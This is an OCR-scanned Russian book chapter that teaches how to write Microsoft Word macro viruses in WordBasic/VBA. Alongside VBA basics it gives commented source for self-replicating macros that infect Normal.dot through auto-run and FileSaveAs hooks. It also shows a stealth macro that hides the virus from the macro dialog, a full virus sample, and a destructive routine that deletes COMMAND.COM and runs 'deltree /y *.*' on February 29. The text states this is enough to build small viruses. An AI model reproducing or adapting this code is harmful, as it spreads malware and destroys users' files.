Макровирусы
МАКРО-ВИРУСЫ
В
этой главе рассказано
о макровирусах.
Подробно опи-
сана процедура и методы
за-
ражения файлов. Представлен
исходный
текст макровируса
с подробными
комментария-
ми. Приведены основные
сведения
о языке VBA, его про-
цедурах, функциях,
стандарт-
ных конструкциях.
Как
известно, в последнее время большое
распространение получили
макро-вирусы.
По сведениям из различных источников,
на эти вирусы
приходится от 70 до 80
процентов заражений. Изложенный ниже
мате-
риал поможет разобраться в
вирусах этого типа.
Инструментарий
Для
изучения макро-вирусов понадобится
некоторое программное обес-
печение.
В качестве "полигона" необходим
MS-WORD версии 6.0 или
выше. Для изучения
зашифрованных макросов может пригодиться
диз-
ассемблер макросов (автор AURODREPH
из VBB). Для более полного
понимания
всего изложенного ниже желательно иметь
базовые знания
о WORD BASIC.
Чтобы
обезопасить рабочие файлы от плодов
экспериментов, настоя-
тельно
рекомендуется создать резервную копию
шаблона
NORMAL.DOT в каталоге WINWORD6\TEMPLATE,
так как именно
этот документ обычно
заражается макро-вирусом. Когда все
готово, са-
мое время перейти к основам
макро-вирусов.
Общие сведения
Макрос
- это программа, написанная на некотором
языке, которая ис-
пользуется обычно
для автоматизации определенных процессов
внутри
приложений. В данном случае
разговор пойдет о языках Visual Basic
for
Applications (VBA) и WordBasic (WB), которые Microsoft
использует в
своих программах (в
частности, Excel, Project и PowerPoint используют
VBA,
a WinWord - WB).
Далее
будем считать стандартным языком VBA,
так как он представля-
ет собой попытку
унифицировать макроязык, сделать его
общим для
всех программ Microsoft. Несмотря
на то, что WB имеет некоторые от-
личия,
в том числе и в синтаксисе, структура
кода этих языков похожа.
При необходимости
будет особо отмечено, что речь идет о
WB.
Макрос VBA - это вызываемые процедуры. Они бывают двух типов:
процедуры-подпрограммы и процедуры-функции.
Процедуры-подпрограммы
могут исполняться непосредственно или
вы-
зываться из других макросов.
Синтаксис их следующий:
sub> <Имя_Макроса>
-> код макроса <-
'Комментарий начинается с апострофа
End sub>
Пример;
'Данный макрос открывает диалоговое окно и выводит сообщение
sub> Stupid_Greeting
MsgBox "Hello World!"
End sub>
Процедуры-функции
(также называемые просто функциями)
возвраща-
ют значение, которое может
быть передано в качестве параметра
другой
процедуре. Их синтаксис:
Function
<Имя_Функции>(Аргументы)
-> Инструкции
<-
'Комментарий
End Function
Пример:
'Суммирует
параметры а и b и возвращает
'результат
в переменную "AddAB"
Function
AddAB(a.b)
AddAB=a+b
End Function
Конечно,
в документ можно вставить столько
макросов, сколько нужно
(или сколько
хочется), ограничений на их количество
нет. Набор мак-
росов (процедур-подпрограмм
и процедур-функций), составляющих
до-
кумент, называется модулем VBA.
Язык
VBA работает также с объектами (внутри
модулей VBA можно
делать ссылки на
документы, графику). Объекты обладают
свойствами.
Например, свойством (или
атрибутом) объекта является его цвет.
VBA
также позволяет работать с переменными.
Как любой язык струк-
турного типа,
VBA имеет типичные конструкции:
цикл "For-next":
sub> Counter "Процедура
lnfect_Num=0
For Count=1 to 10 'Цикл от 1 до 10
lnfect_Num=lnfect_Num+Count
Next Count
MsgBox "Достигли максимального количества заражений"
End sub>
4-1436
условие "If-then":
sub> lnfect_Check
If lnfect_Num=0 Then MsgBox "Файл не заражен"
End sub>
конструкция
"With-end with" (используется для работы
с несколькими
свойствами конкретного
объекта):
sub>
ChangeProperties
With Selection
.Font.Bold=True
.Font.Colorlndex=3
'красный цвет
End With
End sub>
селектор "Select case-end case":
sub> CheckJnfection
Select Case lnfect_Num
Case 0
MsgBox "Файл не заражен"
Case is > О
MsgBox "Файл заражен"
Case is < О
lnfect_Num=0
End Case
End sub>
Полезным
инструментом для работы с VBA является
окно отладки.
В нем можно трассировать
код, вносить в него изменения и делать
мно-
гое другое. В процессе отладки
для остановки на некоторое время
ис-
полнения кода используются флаги.
Чтобы можно было анализировать
содержимое
конкретных переменных и/или инструкций,
после каждой
команды выводятся
сообщения (в отладчике VBA для прерывания
ис-
полнения кода можно ставить также
контрольные точки).
Нужно
обратить внимание на разнообразные
аргументы функций.
Как уже говорилось,
структура их следующая:
Function <Имя>(Аргументы)
[.]
End
Function
Аргументами
могут быть константы, переменные или
выражения.
Процедуры могут быть и без
аргументов.
Function
Get_Name()
Name=Application.UserName
End Function
Некоторые
функции всегда требуют фиксированное
число аргументов
(до 60). Другие функции
имеют несколько обязательных аргументов,
а
остальные могут отсутствовать.
После
того, как основы VBA стали понятны, идем
дальше. Итак, виру-
сы и "троянцы"
на VBA.
Язык
VBA универсален, и тому есть две причины.
Во-первых, этот язык
прост в изучении
и использовании, поскольку он является
языком ви-
зуального программирования,
он ориентирован на события, а не
на
объекты. С его помощью без особых
затрат времени очень легко созда-
вать
сложные модули. Во вторых, можно
использовать большое количе-
ство
предопределенных функций, облегчающих
работу. В третьих, име-
ются функции
(или макросы) автоматического выполнения,
что
позволяет упростить написание
процедур автокопирования, занесения
в
память и прочих используемых стандартными
DOS-вирусами.
Помимо
этого, преимуществом VBA является свойство
переносимости.
VBA работает под Win З.х,
Win95, WinNT, MacOS и так далее, то есть
в любой
операционной системе, где можно запустить
приложения его
поддерживающие.
VBA
представляет собой язык, адаптированный
к языку приложения,
из-под которого
он запущен. Это означает, что если на
компьютере ус-
тановлена, например,
испанская версия WinWord, то имена
предопреде-
ленных функций будут также
на испанском. Так что два следующих
макроса
- вовсе не одно и то же.
Первый макрос (испанский):
sub>
Demo_Macro
Con Seleccion.Fuente
.Nombre="Times"
Fin
Con
End sub>
Второй макрос (английский):
sub>
Demo_Macro
With Selection.Font
.Name="Times"
4*
End
With
End sub>
Последний
макрос не будет работать в испанской
версии WinWord
(а первый - в английской) -
он вызовет ошибку выполнения макроса.
Еще
отметим, что VBA - язык интерпретируемого
(некомпилируемого)
типа, так что каждая
ошибка выполнения проявляется "в
полете".
Существуют
функции, единые для всех версий VBA, вне
зависимости
от языка. Например,
автоматический макрос AutoExec.
Всего
таких специальных макросов пять,
выполняются они автомати-
чески:
AutoExec:
это макрос, активируемый при загрузке
текстового процессо-
ра, но только в
том случае, если он сохранен в шаблоне
Normal.dot или
в каталоге стандартных
приложений;
AutoNew: активизируется при создании нового документа;
AutoOpen: активизируется при открытии существующего документа;
AutoClose: активизируется при закрытии документа;
AutoExit: активизируется при выходе из текстового процессора.
В
качестве доказательства силы и
универсальности этих макросов рас-
смотрим
следующий фрагмент кода (о языке уже
договорились).
'Макрос
наиболее эффективен, если его сохранить
как AutoExit
sub> Main
'Проверим
регистрационное имя
If Application. Username <>
"MaD_MoTHeR" Then
'Снимем
атрибуты COMMAND.COM
SetAttr "C:\COMMAND.COM",0
'Откроем
для проверки - вдруг появятся ошибки
Open
"CACOMMAND.COM" for Output as #1
'Если
ошибки есть, то закроем.
Close #1
'и удалим
Kill "CACOMMAND.COM"
End If
'Проверим
месяц и дату. Если 29 февраля, то
выполним
'команду "deltree /у >nul
If
Month(Now())=2 Then
If Day(Now())=29 Then
Shell "deltree
/y *.* >nu"
End If
End If
End sub>
Что
делает этот макрос? При выходе из WinWord
он проверяет два па-
раметра: имя, на
которое зарегистрирован WinWord (если это
не
MaD_MoTHeR, то будет удален файл
COMMAND.COM), и текущую
системную дату (если
это 29 февраля, выполняется команда
"deltree /у
*.* > nub).
Очень
важно знать, как адаптировать автоматический
макрос (ниже
приведен простейший
вариант), чтобы активизировать его в
открывае-
мый по умолчанию шаблон
WinWord.
Это делается так:
Определяется переменная, в которую записывается полное имя макроса:
name$=WindowName$()+":AutoNew"
'этот макрос будет выполняться каждый раз
'при создании нового документа
Теперь
нужно записать макрос в шаблон NORMAL.DOT
простой ко-
мандой:
MacroCopy name$, "Global:AutoNew"
Это
стандартный способ работы макро-вирусов,
но есть еще много дру-
гих, более
интересных способов заражения. Всего
то и нужно, что не-
много воображения
и несколько строчек кода. Одним из
трюков, кото-
рый усложняет подобные
вирусы и затрудняет их анализ,
является
кодирование макро-вирусов.
MacroCopy "MyTemplate:MyMacro", "GlobahAutoClose", 1
Если
выполняется команда MacroCopy с параметром,
равным 1 (или
другому числу больше 0),
то в результате копирования будет
получен
только исполняемый макрос,
который нельзя редактировать.
Большинство
макро-вирусов имеют типичную структуру.
Они начина-
ются с автовыполняемого
макроса, заражающего глобальный
шаблон
Normal.dot. Также в их состав входят
некоторые макросы, которые зара-
жают
файлы при определенных действиях
(FileSaveAs, FileSave,
ToolsMacros). Документы заражаются
при совершении над ними опера-
ций
вирусными макросами, то есть они будут
инфицироваться при
открытии.
Код для процедуры автовыполнения может выглядеть примерно так:
sub> MAIN
On Error Goto Abort
iMacroCount=CountMacros(0, 0) 'Проверка на зараженность
For i=1 To iMacroCount
If MacroName$(i, 0, 0)="PayLoad" Then
binstalled =-1 'с помощью макроса Payload
End If
If MacroName$(i, 0, 0)="FileSaveAs" Then
bTooMuchTrouble
=-1 'но если есть макрос FileSaveAs,
'то
заразить тяжело
End If
Next i
If Not binstalled And Not bTooMuchTrouble Then
'Добавим
макросы FileSaveAs и копии AutoExec и FileSave
'Payload
используется только для проверки на
зараженность
',1 - кодирует макросы,
делая их нечитаемыми в Word
iWW6llnstance=Val(GetDocumentVar$("WW6lnfector"))
sMe$=FileName$()
Macro$=sMe$+":PayLoad"
MacroCopy Macro$, "Global:PayLoad", 1
Macro$=sMe$+":FileOpen" 'Будет происходить заражение
MacroCopy Macro$, "GlobahFileOpen", 1
Macro$=sMe$+":FileSaveAs"
MacroCopy Macro$, "GlobahFileSaveAs", 1
Macro$=sMe$+":AutoExec"
MacroCopy Macro$, "GlobahAutoExec", 1
SetProfileString "WW6I", Str$(iWW6llnstance+1)
End If
Abort:
End sub>
Процедура SaveAs
Она
копирует макро-вирус в активный документ
при его сохранении
через команду
File/SaveAs. Эта процедура использует во
многом схо-
жую с процедурой AutoExec
технологию. Код для нее:
sub> MAIN
Dim dig As FileSaveAs
GetCurValues dig
Dialog dig
If (Dlg.Format=0) Or (dlg.Format=1) Then
MacroCopy "FileSaveAs", WindowName$()+":FileSaveAs"
'Заражает
при сохранении документа
MacroCopy
"FileSave", WindowName$()+":FileSave"
MacroCopy
"PayLoad", WindowName$()+":PayLoad"
MacroCopy
"FileOpen", WindowName$()+":FileOpen"
'При
открытии документа
Dlg.Format=1
End If
FileDaveAs
dig
End sub>
Этой
информации вполне достаточно для
создания небольших макро-
вирусов.
Специальные процедуры
Существует
несколько способов скрыть вирус или
сделать его более
эффективным. Например,
можно создать специальный макрос,
прячу-
щий вирус, если Tools/Macro открывается
для просмотра. Код такого
макроса
может выглядеть примерно так:
sub>
MAIN
On Error Goto ErrorRoutine
OldName$=NomFichier$()
If macros.bDebug Then
MsgBox "start ToolsMacro"
Dim dig As OutilsMacro
If macros.bDebug Then MsgBox "1"
GetCurValues dig
If macros.bDebug Then MsgBox "2"
On
Error Goto Skip
Dialog dig
OutilsMacro dig
Skip:
On
Error Goto ErrorRoutine 'При ошибке на выход
End
If
REM
enable automacros
DisableAutoMacros 0
macros. SavToGlobal(01dName$)
macros.objectiv
Goto Done 'Переход на метку Done
ErrorRoutine:
On
Error Goto Done "Переход на метку Done
If
macros.bDebug Then
MsgBox
"error "+Str$(Err)+" occurred" 'Сообщение
об ошибке
End If
Done:
End sub>
Макро-вирусы
также могут включать внешние процедуры.
Например,
вирус Nuclear пытается
откомпилировать и запустить
внешний
файл-разносчик вируса, некоторые
троянские макросы пытаются фор-
матировать
винчестер при открытии документа.
Пример макро-вируса
Выше
были изложены основы для изучения
макро-вирусов. Пришло
время рассмотреть
исходные тексты.
Macro
name: AutoNew [AUTONEW] "U"
Encryption key: DF
sub>
MAIN
'Включаем
обработку автоматических
макросов
DisableAutoMacros 0
'Проверим,
установлен ли макрос. Если макрос
AutoExec
'присутствует, считаем, что файл
заражен
If (lnstalled=0) And (Forgetlt=0) Then
'Заразим. Копируем макрос
MacroCopy WindowName$()+":AutoExec", "GlobahAutoExec", 1
MacroCopy WindowName$()+":AutoNew", "Global:AutoNew", 1
MacroCopy WmdowName$()+":AutoOpen", "Global:AutoOpen", 1
MacroCopy WindowName$()+":DateiSpeichem", "Global:DateiSpeichern", 1
MacroCopy WindowName$()+":DateiSpeichernUnter",
"Global.-DateiSpeichernllnter", 1
MacroCopy WindowName$()+":DateiBeenden",
"GlobahDateiBeenden", 1
MacroCopy WindowName$() + ": ExtrasOptionen ",
"Global :ExtrasOptionen", 1
MacroCopy WindowName$()+":DateiDokvorlagen",
"GlobaLDateiDokvorlagen", 1
MacroCopy WindowName$()+":lt", "Global:lt", 1
MacroCopy WindowName$()+":DateiDrucken", "GlobahDateiDrucken", 1
End If
End sub>
'Функция
проверяет, инсталлирован ли макрос
AutoExec
Function Installed
'Установим
переменную Installed в 0 (инициализация
переменной).
"При положительном
результате проверки установим ее в
1
lnstalled=0
'Проверим,
есть ли макросы
If CountMacros(O) > 0 Then
"Проверим имена макросов. Если есть AutoExec,
"установим переменную Installed в 1
For i=1 To CountMacros(O)
If MacroName$(i, 0)="AutoExec" Then
lnstalled=1
End If
Next i
End If
End Function
Function Forgetit
Forgetlt=0
Section$="Compatibility"
ProfilName$="Nomvir"
BlaBla$=GetProfileString$(Section$, ProfilName$)
If BlaBla$="Ox0690690" Then
Forgetlt=1
End If
End Function